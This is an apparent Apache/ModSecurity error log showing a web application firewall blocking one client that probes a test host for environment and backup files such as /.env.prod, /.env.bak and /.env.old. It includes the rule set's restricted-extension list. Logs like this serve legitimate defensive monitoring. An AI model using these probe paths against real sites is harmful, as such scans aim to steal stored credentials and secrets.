[Fri Oct 24 20:58:18.910531 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck53gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:18.910706 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck53gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:19.448030 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aPvMS-JZ4vgAgAbS8ck53wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:19.448332 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aPvMS-JZ4vgAgAbS8ck53wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:19.448537 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aPvMS-JZ4vgAgAbS8ck53wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:19.649288 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aPvMS-JZ4vgAgAbS8ck54AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:19.649592 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aPvMS-JZ4vgAgAbS8ck54AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:19.649782 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aPvMS-JZ4vgAgAbS8ck54AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:19.795798 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aPvMS-JZ4vgAgAbS8ck54QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:19.796057 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aPvMS-JZ4vgAgAbS8ck54QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:19.796223 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aPvMS-JZ4vgAgAbS8ck54QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:20.071309 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aPvMTOJZ4vgAgAbS8ck54gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:20.071580 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aPvMTOJZ4vgAgAbS8ck54gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:20.071757 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aPvMTOJZ4vgAgAbS8ck54gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:20.519967 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aPvMTOJZ4vgAgAbS8ck54wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:20.520160 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aPvMTOJZ4vgAgAbS8ck54wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:20.520860 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aPvMTOJZ4vgAgAbS8ck54wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:20.521081 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aPvMTOJZ4vgAgAbS8ck54wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:20.961897 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aPvMTOJZ4vgAgAbS8ck55AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:20.962165 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aPvMTOJZ4vgAgAbS8ck55AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:20.962331 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aPvMTOJZ4vgAgAbS8ck55AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:21.161535 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aPvMTeJZ4vgAgAbS8ck55QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:21.161796 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aPvMTeJZ4vgAgAbS8ck55QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:21.161979 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aPvMTeJZ4vgAgAbS8ck55QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:21.366537 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aPvMTeJZ4vgAgAbS8ck55gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:21.366742 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aPvMTeJZ4vgAgAbS8ck55gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:21.367018 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aPvMTeJZ4vgAgAbS8ck55gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:21.367208 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aPvMTeJZ4vgAgAbS8ck55gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:21.980380 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aPvMTeJZ4vgAgAbS8ck55wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:21.980572 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aPvMTeJZ4vgAgAbS8ck55wAAAAs&quot;], referer: https://www.google.com/
